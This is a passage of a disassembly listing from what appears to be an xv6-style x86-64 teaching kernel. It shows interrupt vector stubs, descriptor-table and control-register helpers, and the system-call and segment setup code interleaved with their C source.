ffff80000010a9da: 68 c2 00 00 00 pushq $0xc2
jmp alltraps
ffff80000010a9df: e9 44 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9e4 <vector195>:
vector195:
push $0
ffff80000010a9e4: 6a 00 pushq $0x0
push $195
ffff80000010a9e6: 68 c3 00 00 00 pushq $0xc3
jmp alltraps
ffff80000010a9eb: e9 38 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9f0 <vector196>:
vector196:
push $0
ffff80000010a9f0: 6a 00 pushq $0x0
push $196
ffff80000010a9f2: 68 c4 00 00 00 pushq $0xc4
jmp alltraps
ffff80000010a9f7: e9 2c ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a9fc <vector197>:
vector197:
push $0
ffff80000010a9fc: 6a 00 pushq $0x0
push $197
ffff80000010a9fe: 68 c5 00 00 00 pushq $0xc5
jmp alltraps
ffff80000010aa03: e9 20 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa08 <vector198>:
vector198:
push $0
ffff80000010aa08: 6a 00 pushq $0x0
push $198
ffff80000010aa0a: 68 c6 00 00 00 pushq $0xc6
jmp alltraps
ffff80000010aa0f: e9 14 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa14 <vector199>:
vector199:
push $0
ffff80000010aa14: 6a 00 pushq $0x0
push $199
ffff80000010aa16: 68 c7 00 00 00 pushq $0xc7
jmp alltraps
ffff80000010aa1b: e9 08 ef ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa20 <vector200>:
vector200:
push $0
ffff80000010aa20: 6a 00 pushq $0x0
push $200
ffff80000010aa22: 68 c8 00 00 00 pushq $0xc8
jmp alltraps
ffff80000010aa27: e9 fc ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa2c <vector201>:
vector201:
push $0
ffff80000010aa2c: 6a 00 pushq $0x0
push $201
ffff80000010aa2e: 68 c9 00 00 00 pushq $0xc9
jmp alltraps
ffff80000010aa33: e9 f0 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa38 <vector202>:
vector202:
push $0
ffff80000010aa38: 6a 00 pushq $0x0
push $202
ffff80000010aa3a: 68 ca 00 00 00 pushq $0xca
jmp alltraps
ffff80000010aa3f: e9 e4 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa44 <vector203>:
vector203:
push $0
ffff80000010aa44: 6a 00 pushq $0x0
push $203
ffff80000010aa46: 68 cb 00 00 00 pushq $0xcb
jmp alltraps
ffff80000010aa4b: e9 d8 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa50 <vector204>:
vector204:
push $0
ffff80000010aa50: 6a 00 pushq $0x0
push $204
ffff80000010aa52: 68 cc 00 00 00 pushq $0xcc
jmp alltraps
ffff80000010aa57: e9 cc ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa5c <vector205>:
vector205:
push $0
ffff80000010aa5c: 6a 00 pushq $0x0
push $205
ffff80000010aa5e: 68 cd 00 00 00 pushq $0xcd
jmp alltraps
ffff80000010aa63: e9 c0 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa68 <vector206>:
vector206:
push $0
ffff80000010aa68: 6a 00 pushq $0x0
push $206
ffff80000010aa6a: 68 ce 00 00 00 pushq $0xce
jmp alltraps
ffff80000010aa6f: e9 b4 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa74 <vector207>:
vector207:
push $0
ffff80000010aa74: 6a 00 pushq $0x0
push $207
ffff80000010aa76: 68 cf 00 00 00 pushq $0xcf
jmp alltraps
ffff80000010aa7b: e9 a8 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa80 <vector208>:
vector208:
push $0
ffff80000010aa80: 6a 00 pushq $0x0
push $208
ffff80000010aa82: 68 d0 00 00 00 pushq $0xd0
jmp alltraps
ffff80000010aa87: e9 9c ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa8c <vector209>:
vector209:
push $0
ffff80000010aa8c: 6a 00 pushq $0x0
push $209
ffff80000010aa8e: 68 d1 00 00 00 pushq $0xd1
jmp alltraps
ffff80000010aa93: e9 90 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aa98 <vector210>:
vector210:
push $0
ffff80000010aa98: 6a 00 pushq $0x0
push $210
ffff80000010aa9a: 68 d2 00 00 00 pushq $0xd2
jmp alltraps
ffff80000010aa9f: e9 84 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aaa4 <vector211>:
vector211:
push $0
ffff80000010aaa4: 6a 00 pushq $0x0
push $211
ffff80000010aaa6: 68 d3 00 00 00 pushq $0xd3
jmp alltraps
ffff80000010aaab: e9 78 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aab0 <vector212>:
vector212:
push $0
ffff80000010aab0: 6a 00 pushq $0x0
push $212
ffff80000010aab2: 68 d4 00 00 00 pushq $0xd4
jmp alltraps
ffff80000010aab7: e9 6c ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aabc <vector213>:
vector213:
push $0
ffff80000010aabc: 6a 00 pushq $0x0
push $213
ffff80000010aabe: 68 d5 00 00 00 pushq $0xd5
jmp alltraps
ffff80000010aac3: e9 60 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aac8 <vector214>:
vector214:
push $0
ffff80000010aac8: 6a 00 pushq $0x0
push $214
ffff80000010aaca: 68 d6 00 00 00 pushq $0xd6
jmp alltraps
ffff80000010aacf: e9 54 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aad4 <vector215>:
vector215:
push $0
ffff80000010aad4: 6a 00 pushq $0x0
push $215
ffff80000010aad6: 68 d7 00 00 00 pushq $0xd7
jmp alltraps
ffff80000010aadb: e9 48 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aae0 <vector216>:
vector216:
push $0
ffff80000010aae0: 6a 00 pushq $0x0
push $216
ffff80000010aae2: 68 d8 00 00 00 pushq $0xd8
jmp alltraps
ffff80000010aae7: e9 3c ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aaec <vector217>:
vector217:
push $0
ffff80000010aaec: 6a 00 pushq $0x0
push $217
ffff80000010aaee: 68 d9 00 00 00 pushq $0xd9
jmp alltraps
ffff80000010aaf3: e9 30 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aaf8 <vector218>:
vector218:
push $0
ffff80000010aaf8: 6a 00 pushq $0x0
push $218
ffff80000010aafa: 68 da 00 00 00 pushq $0xda
jmp alltraps
ffff80000010aaff: e9 24 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab04 <vector219>:
vector219:
push $0
ffff80000010ab04: 6a 00 pushq $0x0
push $219
ffff80000010ab06: 68 db 00 00 00 pushq $0xdb
jmp alltraps
ffff80000010ab0b: e9 18 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab10 <vector220>:
vector220:
push $0
ffff80000010ab10: 6a 00 pushq $0x0
push $220
ffff80000010ab12: 68 dc 00 00 00 pushq $0xdc
jmp alltraps
ffff80000010ab17: e9 0c ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab1c <vector221>:
vector221:
push $0
ffff80000010ab1c: 6a 00 pushq $0x0
push $221
ffff80000010ab1e: 68 dd 00 00 00 pushq $0xdd
jmp alltraps
ffff80000010ab23: e9 00 ee ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab28 <vector222>:
vector222:
push $0
ffff80000010ab28: 6a 00 pushq $0x0
push $222
ffff80000010ab2a: 68 de 00 00 00 pushq $0xde
jmp alltraps
ffff80000010ab2f: e9 f4 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab34 <vector223>:
vector223:
push $0
ffff80000010ab34: 6a 00 pushq $0x0
push $223
ffff80000010ab36: 68 df 00 00 00 pushq $0xdf
jmp alltraps
ffff80000010ab3b: e9 e8 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab40 <vector224>:
vector224:
push $0
ffff80000010ab40: 6a 00 pushq $0x0
push $224
ffff80000010ab42: 68 e0 00 00 00 pushq $0xe0
jmp alltraps
ffff80000010ab47: e9 dc ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab4c <vector225>:
vector225:
push $0
ffff80000010ab4c: 6a 00 pushq $0x0
push $225
ffff80000010ab4e: 68 e1 00 00 00 pushq $0xe1
jmp alltraps
ffff80000010ab53: e9 d0 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab58 <vector226>:
vector226:
push $0
ffff80000010ab58: 6a 00 pushq $0x0
push $226
ffff80000010ab5a: 68 e2 00 00 00 pushq $0xe2
jmp alltraps
ffff80000010ab5f: e9 c4 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab64 <vector227>:
vector227:
push $0
ffff80000010ab64: 6a 00 pushq $0x0
push $227
ffff80000010ab66: 68 e3 00 00 00 pushq $0xe3
jmp alltraps
ffff80000010ab6b: e9 b8 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab70 <vector228>:
vector228:
push $0
ffff80000010ab70: 6a 00 pushq $0x0
push $228
ffff80000010ab72: 68 e4 00 00 00 pushq $0xe4
jmp alltraps
ffff80000010ab77: e9 ac ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab7c <vector229>:
vector229:
push $0
ffff80000010ab7c: 6a 00 pushq $0x0
push $229
ffff80000010ab7e: 68 e5 00 00 00 pushq $0xe5
jmp alltraps
ffff80000010ab83: e9 a0 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab88 <vector230>:
vector230:
push $0
ffff80000010ab88: 6a 00 pushq $0x0
push $230
ffff80000010ab8a: 68 e6 00 00 00 pushq $0xe6
jmp alltraps
ffff80000010ab8f: e9 94 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ab94 <vector231>:
vector231:
push $0
ffff80000010ab94: 6a 00 pushq $0x0
push $231
ffff80000010ab96: 68 e7 00 00 00 pushq $0xe7
jmp alltraps
ffff80000010ab9b: e9 88 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aba0 <vector232>:
vector232:
push $0
ffff80000010aba0: 6a 00 pushq $0x0
push $232
ffff80000010aba2: 68 e8 00 00 00 pushq $0xe8
jmp alltraps
ffff80000010aba7: e9 7c ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abac <vector233>:
vector233:
push $0
ffff80000010abac: 6a 00 pushq $0x0
push $233
ffff80000010abae: 68 e9 00 00 00 pushq $0xe9
jmp alltraps
ffff80000010abb3: e9 70 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abb8 <vector234>:
vector234:
push $0
ffff80000010abb8: 6a 00 pushq $0x0
push $234
ffff80000010abba: 68 ea 00 00 00 pushq $0xea
jmp alltraps
ffff80000010abbf: e9 64 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abc4 <vector235>:
vector235:
push $0
ffff80000010abc4: 6a 00 pushq $0x0
push $235
ffff80000010abc6: 68 eb 00 00 00 pushq $0xeb
jmp alltraps
ffff80000010abcb: e9 58 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abd0 <vector236>:
vector236:
push $0
ffff80000010abd0: 6a 00 pushq $0x0
push $236
ffff80000010abd2: 68 ec 00 00 00 pushq $0xec
jmp alltraps
ffff80000010abd7: e9 4c ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abdc <vector237>:
vector237:
push $0
ffff80000010abdc: 6a 00 pushq $0x0
push $237
ffff80000010abde: 68 ed 00 00 00 pushq $0xed
jmp alltraps
ffff80000010abe3: e9 40 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abe8 <vector238>:
vector238:
push $0
ffff80000010abe8: 6a 00 pushq $0x0
push $238
ffff80000010abea: 68 ee 00 00 00 pushq $0xee
jmp alltraps
ffff80000010abef: e9 34 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010abf4 <vector239>:
vector239:
push $0
ffff80000010abf4: 6a 00 pushq $0x0
push $239
ffff80000010abf6: 68 ef 00 00 00 pushq $0xef
jmp alltraps
ffff80000010abfb: e9 28 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac00 <vector240>:
vector240:
push $0
ffff80000010ac00: 6a 00 pushq $0x0
push $240
ffff80000010ac02: 68 f0 00 00 00 pushq $0xf0
jmp alltraps
ffff80000010ac07: e9 1c ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac0c <vector241>:
vector241:
push $0
ffff80000010ac0c: 6a 00 pushq $0x0
push $241
ffff80000010ac0e: 68 f1 00 00 00 pushq $0xf1
jmp alltraps
ffff80000010ac13: e9 10 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac18 <vector242>:
vector242:
push $0
ffff80000010ac18: 6a 00 pushq $0x0
push $242
ffff80000010ac1a: 68 f2 00 00 00 pushq $0xf2
jmp alltraps
ffff80000010ac1f: e9 04 ed ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac24 <vector243>:
vector243:
push $0
ffff80000010ac24: 6a 00 pushq $0x0
push $243
ffff80000010ac26: 68 f3 00 00 00 pushq $0xf3
jmp alltraps
ffff80000010ac2b: e9 f8 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac30 <vector244>:
vector244:
push $0
ffff80000010ac30: 6a 00 pushq $0x0
push $244
ffff80000010ac32: 68 f4 00 00 00 pushq $0xf4
jmp alltraps
ffff80000010ac37: e9 ec ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac3c <vector245>:
vector245:
push $0
ffff80000010ac3c: 6a 00 pushq $0x0
push $245
ffff80000010ac3e: 68 f5 00 00 00 pushq $0xf5
jmp alltraps
ffff80000010ac43: e9 e0 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac48 <vector246>:
vector246:
push $0
ffff80000010ac48: 6a 00 pushq $0x0
push $246
ffff80000010ac4a: 68 f6 00 00 00 pushq $0xf6
jmp alltraps
ffff80000010ac4f: e9 d4 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac54 <vector247>:
vector247:
push $0
ffff80000010ac54: 6a 00 pushq $0x0
push $247
ffff80000010ac56: 68 f7 00 00 00 pushq $0xf7
jmp alltraps
ffff80000010ac5b: e9 c8 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac60 <vector248>:
vector248:
push $0
ffff80000010ac60: 6a 00 pushq $0x0
push $248
ffff80000010ac62: 68 f8 00 00 00 pushq $0xf8
jmp alltraps
ffff80000010ac67: e9 bc ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac6c <vector249>:
vector249:
push $0
ffff80000010ac6c: 6a 00 pushq $0x0
push $249
ffff80000010ac6e: 68 f9 00 00 00 pushq $0xf9
jmp alltraps
ffff80000010ac73: e9 b0 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac78 <vector250>:
vector250:
push $0
ffff80000010ac78: 6a 00 pushq $0x0
push $250
ffff80000010ac7a: 68 fa 00 00 00 pushq $0xfa
jmp alltraps
ffff80000010ac7f: e9 a4 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac84 <vector251>:
vector251:
push $0
ffff80000010ac84: 6a 00 pushq $0x0
push $251
ffff80000010ac86: 68 fb 00 00 00 pushq $0xfb
jmp alltraps
ffff80000010ac8b: e9 98 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac90 <vector252>:
vector252:
push $0
ffff80000010ac90: 6a 00 pushq $0x0
push $252
ffff80000010ac92: 68 fc 00 00 00 pushq $0xfc
jmp alltraps
ffff80000010ac97: e9 8c ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010ac9c <vector253>:
vector253:
push $0
ffff80000010ac9c: 6a 00 pushq $0x0
push $253
ffff80000010ac9e: 68 fd 00 00 00 pushq $0xfd
jmp alltraps
ffff80000010aca3: e9 80 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010aca8 <vector254>:
vector254:
push $0
ffff80000010aca8: 6a 00 pushq $0x0
push $254
ffff80000010acaa: 68 fe 00 00 00 pushq $0xfe
jmp alltraps
ffff80000010acaf: e9 74 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010acb4 <vector255>:
vector255:
push $0
ffff80000010acb4: 6a 00 pushq $0x0
push $255
ffff80000010acb6: 68 ff 00 00 00 pushq $0xff
jmp alltraps
ffff80000010acbb: e9 68 ec ff ff jmpq ffff800000109928 <alltraps>
ffff80000010acc0 <lgdt>:
{
ffff80000010acc0: f3 0f 1e fa endbr64
ffff80000010acc4: 55 push %rbp
ffff80000010acc5: 48 89 e5 mov %rsp,%rbp
ffff80000010acc8: 48 83 ec 30 sub $0x30,%rsp
ffff80000010accc: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010acd0: 89 75 d4 mov %esi,-0x2c(%rbp)
addr_t addr = (addr_t)p;
ffff80000010acd3: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010acd7: 48 89 45 f8 mov %rax,-0x8(%rbp)
pd[0] = size-1;
ffff80000010acdb: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff80000010acde: 83 e8 01 sub $0x1,%eax
ffff80000010ace1: 66 89 45 ee mov %ax,-0x12(%rbp)
pd[1] = addr;
ffff80000010ace5: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ace9: 66 89 45 f0 mov %ax,-0x10(%rbp)
pd[2] = addr >> 16;
ffff80000010aced: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010acf1: 48 c1 e8 10 shr $0x10,%rax
ffff80000010acf5: 66 89 45 f2 mov %ax,-0xe(%rbp)
pd[3] = addr >> 32;
ffff80000010acf9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010acfd: 48 c1 e8 20 shr $0x20,%rax
ffff80000010ad01: 66 89 45 f4 mov %ax,-0xc(%rbp)
pd[4] = addr >> 48;
ffff80000010ad05: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ad09: 48 c1 e8 30 shr $0x30,%rax
ffff80000010ad0d: 66 89 45 f6 mov %ax,-0xa(%rbp)
asm volatile("lgdt (%0)" : : "r" (pd));
ffff80000010ad11: 48 8d 45 ee lea -0x12(%rbp),%rax
ffff80000010ad15: 0f 01 10 lgdt (%rax)
}
ffff80000010ad18: 90 nop
ffff80000010ad19: c9 leaveq
ffff80000010ad1a: c3 retq
ffff80000010ad1b <ltr>:
{
ffff80000010ad1b: f3 0f 1e fa endbr64
ffff80000010ad1f: 55 push %rbp
ffff80000010ad20: 48 89 e5 mov %rsp,%rbp
ffff80000010ad23: 48 83 ec 08 sub $0x8,%rsp
ffff80000010ad27: 89 f8 mov %edi,%eax
ffff80000010ad29: 66 89 45 fc mov %ax,-0x4(%rbp)
asm volatile("ltr %0" : : "r" (sel));
ffff80000010ad2d: 0f b7 45 fc movzwl -0x4(%rbp),%eax
ffff80000010ad31: 0f 00 d8 ltr %ax
}
ffff80000010ad34: 90 nop
ffff80000010ad35: c9 leaveq
ffff80000010ad36: c3 retq
ffff80000010ad37 <lcr3>:
static inline void
lcr3(addr_t val)
{
ffff80000010ad37: f3 0f 1e fa endbr64
ffff80000010ad3b: 55 push %rbp
ffff80000010ad3c: 48 89 e5 mov %rsp,%rbp
ffff80000010ad3f: 48 83 ec 08 sub $0x8,%rsp
ffff80000010ad43: 48 89 7d f8 mov %rdi,-0x8(%rbp)
asm volatile("mov %0,%%cr3" : : "r" (val));
ffff80000010ad47: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ad4b: 0f 22 d8 mov %rax,%cr3
}
ffff80000010ad4e: 90 nop
ffff80000010ad4f: c9 leaveq
ffff80000010ad50: c3 retq
ffff80000010ad51 <v2p>:
static inline addr_t v2p(void *a) {
ffff80000010ad51: f3 0f 1e fa endbr64
ffff80000010ad55: 55 push %rbp
ffff80000010ad56: 48 89 e5 mov %rsp,%rbp
ffff80000010ad59: 48 83 ec 08 sub $0x8,%rsp
ffff80000010ad5d: 48 89 7d f8 mov %rdi,-0x8(%rbp)
return ((addr_t) (a)) - ((addr_t)KERNBASE);
ffff80000010ad61: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ad65: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010ad6c: 80 00 00
ffff80000010ad6f: 48 01 d0 add %rdx,%rax
}
ffff80000010ad72: c9 leaveq
ffff80000010ad73: c3 retq
ffff80000010ad74 <syscallinit>:
static pde_t *kpml4;
static pde_t *kpdpt;
void
syscallinit(void)
{
ffff80000010ad74: f3 0f 1e fa endbr64
ffff80000010ad78: 55 push %rbp
ffff80000010ad79: 48 89 e5 mov %rsp,%rbp
// the MSR/SYSRET wants the segment for 32-bit user data
// next up is 64-bit user data, then code
// This is simply the way the sysret instruction
// is designed to work (it assumes they follow).
wrmsr(MSR_STAR,
ffff80000010ad7c: 48 be 00 00 00 00 08 movabs $0x1b000800000000,%rsi
ffff80000010ad83: 00 1b 00
ffff80000010ad86: bf 81 00 00 c0 mov $0xc0000081,%edi
ffff80000010ad8b: 48 b8 01 01 10 00 00 movabs $0xffff800000100101,%rax
ffff80000010ad92: 80 ff ff
ffff80000010ad95: ff d0 callq *%rax
((((uint64)USER32_CS) << 48) | ((uint64)KERNEL_CS << 32)));
wrmsr(MSR_LSTAR, (addr_t)syscall_entry);
ffff80000010ad97: 48 b8 64 99 10 00 00 movabs $0xffff800000109964,%rax
ffff80000010ad9e: 80 ff ff
ffff80000010ada1: 48 89 c6 mov %rax,%rsi
ffff80000010ada4: bf 82 00 00 c0 mov $0xc0000082,%edi
ffff80000010ada9: 48 b8 01 01 10 00 00 movabs $0xffff800000100101,%rax
ffff80000010adb0: 80 ff ff
ffff80000010adb3: ff d0 callq *%rax
wrmsr(MSR_CSTAR, (addr_t)ignore_sysret);
ffff80000010adb5: 48 b8 11 01 10 00 00 movabs $0xffff800000100111,%rax
ffff80000010adbc: 80 ff ff
ffff80000010adbf: 48 89 c6 mov %rax,%rsi
ffff80000010adc2: bf 83 00 00 c0 mov $0xc0000083,%edi
ffff80000010adc7: 48 b8 01 01 10 00 00 movabs $0xffff800000100101,%rax
ffff80000010adce: 80 ff ff
ffff80000010add1: ff d0 callq *%rax
wrmsr(MSR_SFMASK, FL_TF|FL_DF|FL_IF|FL_IOPL_3|FL_AC|FL_NT);
ffff80000010add3: be 00 77 04 00 mov $0x47700,%esi
ffff80000010add8: bf 84 00 00 c0 mov $0xc0000084,%edi
ffff80000010addd: 48 b8 01 01 10 00 00 movabs $0xffff800000100101,%rax
ffff80000010ade4: 80 ff ff
ffff80000010ade7: ff d0 callq *%rax
}
ffff80000010ade9: 90 nop
ffff80000010adea: 5d pop %rbp
ffff80000010adeb: c3 retq
ffff80000010adec <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
ffff80000010adec: f3 0f 1e fa endbr64
ffff80000010adf0: 55 push %rbp
ffff80000010adf1: 48 89 e5 mov %rsp,%rbp
ffff80000010adf4: 48 83 ec 30 sub $0x30,%rsp
uint64 addr;
void *local;
struct cpu *c;
// create a page for cpu local storage
local = kalloc();
ffff80000010adf8: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010adff: 80 ff ff
ffff80000010ae02: ff d0 callq *%rax
ffff80000010ae04: 48 89 45 f8 mov %rax,-0x8(%rbp)
memset(local, 0, PGSIZE);
ffff80000010ae08: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ae0c: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010ae11: be 00 00 00 00 mov $0x0,%esi
ffff80000010ae16: 48 89 c7 mov %rax,%rdi
ffff80000010ae19: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010ae20: 80 ff ff
ffff80000010ae23: ff d0 callq *%rax
gdt = (struct segdesc*) local;
ffff80000010ae25: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ae29: 48 89 45 f0 mov %rax,-0x10(%rbp)
tss = (uint*) (((char*) local) + 1024);
ffff80000010ae2d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ae31: 48 05 00 04 00 00 add $0x400,%rax
ffff80000010ae37: 48 89 45 e8 mov %rax,-0x18(%rbp)
tss[16] = 0x00680000; // IO Map Base = End of TSS
ffff80000010ae3b: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010ae3f: 48 83 c0 40 add $0x40,%rax
ffff80000010ae43: c7 00 00 00 68 00 movl $0x680000,(%rax)
// point FS smack in the middle of our local storage page
wrmsr(0xC0000100, ((uint64) local) + 2048);
ffff80000010ae49: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010ae4d: 48 05 00 08 00 00 add $0x800,%rax
ffff80000010ae53: 48 89 c6 mov %rax,%rsi
ffff80000010ae56: bf 00 01 00 c0 mov $0xc0000100,%edi
ffff80000010ae5b: 48 b8 01 01 10 00 00 movabs $0xffff800000100101,%rax
ffff80000010ae62: 80 ff ff
ffff80000010ae65: ff d0 callq *%rax
c = &cpus[cpunum()];
ffff80000010ae67: 48 b8 59 4a 10 00 00 movabs $0xffff800000104a59,%rax
ffff80000010ae6e: 80 ff ff
ffff80000010ae71: ff d0 callq *%rax
ffff80000010ae73: 48 63 d0 movslq %eax,%rdx
ffff80000010ae76: 48 89 d0 mov %rdx,%rax
ffff80000010ae79: 48 c1 e0 02 shl $0x2,%rax
ffff80000010ae7d: 48 01 d0 add %rdx,%rax
ffff80000010ae80: 48 c1 e0 03 shl $0x3,%rax
ffff80000010ae84: 48 ba e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rdx
ffff80000010ae8b: 80 ff ff
ffff80000010ae8e: 48 01 d0 add %rdx,%rax
ffff80000010ae91: 48 89 45 e0 mov %rax,-0x20(%rbp)
c->local = local;
ffff80000010ae95: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010ae99: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010ae9d: 48 89 50 20 mov %rdx,0x20(%rax)
cpu = c;
ffff80000010aea1: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010aea5: 64 48 89 04 25 f0 ff mov %rax,%fs:0xfffffffffffffff0
ffff80000010aeac: ff ff
proc = 0;
ffff80000010aeae: 64 48 c7 04 25 f8 ff movq $0x0,%fs:0xfffffffffffffff8
ffff80000010aeb5: ff ff 00 00 00 00
addr = (uint64) tss;
ffff80000010aebb: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010aebf: 48 89 45 d8 mov %rax,-0x28(%rbp)
gdt[0] = (struct segdesc) {};
ffff80000010aec3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010aec7: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
gdt[SEG_KCODE] = SEG((STA_X|STA_R), 0, 0, APP_SEG, !DPL_USER, 1);
ffff80000010aece: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010aed2: 48 83 c0 08 add $0x8,%rax
ffff80000010aed6: 66 c7 00 00 00 movw $0x0,(%rax)
ffff80000010aedb: 66 c7 40 02 00 00 movw $0x0,0x2(%rax)
ffff80000010aee1: c6 40 04 00 movb $0x0,0x4(%rax)
ffff80000010aee5: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010aee9: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010aeec: 83 ca 0a or $0xa,%edx
ffff80000010aeef: 88 50 05 mov %dl,0x5(%rax)
ffff80000010aef2: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010aef6: 83 ca 10 or $0x10,%edx
ffff80000010aef9: 88 50 05 mov %dl,0x5(%rax)
ffff80000010aefc: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af00: 83 e2 9f and $0xffffff9f,%edx
ffff80000010af03: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af06: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af0a: 83 ca 80 or $0xffffff80,%edx
ffff80000010af0d: 88 50 05 mov %dl,0x5(%rax)
ffff80000010af10: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af14: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010af17: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af1a: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af1e: 83 e2 ef and $0xffffffef,%edx
ffff80000010af21: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af24: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af28: 83 ca 20 or $0x20,%edx
ffff80000010af2b: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af2e: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af32: 83 e2 bf and $0xffffffbf,%edx
ffff80000010af35: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af38: 0f b6 50 06 movzbl 0x6(%rax),%edx
ffff80000010af3c: 83 ca 80 or $0xffffff80,%edx
ffff80000010af3f: 88 50 06 mov %dl,0x6(%rax)
ffff80000010af42: c6 40 07 00 movb $0x0,0x7(%rax)
gdt[SEG_KDATA] = SEG(STA_W, 0, 0, APP_SEG, !DPL_USER, 0);
ffff80000010af46: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010af4a: 48 83 c0 10 add $0x10,%rax
ffff80000010af4e: 66 c7 00 00 00 movw $0x0,(%rax)
ffff80000010af53: 66 c7 40 02 00 00 movw $0x0,0x2(%rax)
ffff80000010af59: c6 40 04 00 movb $0x0,0x4(%rax)
ffff80000010af5d: 0f b6 50 05 movzbl 0x5(%rax),%edx
ffff80000010af61: 83 e2 f0 and $0xfffffff0,%edx
ffff80000010af64: 83 ca 02 or $0x2,%edx
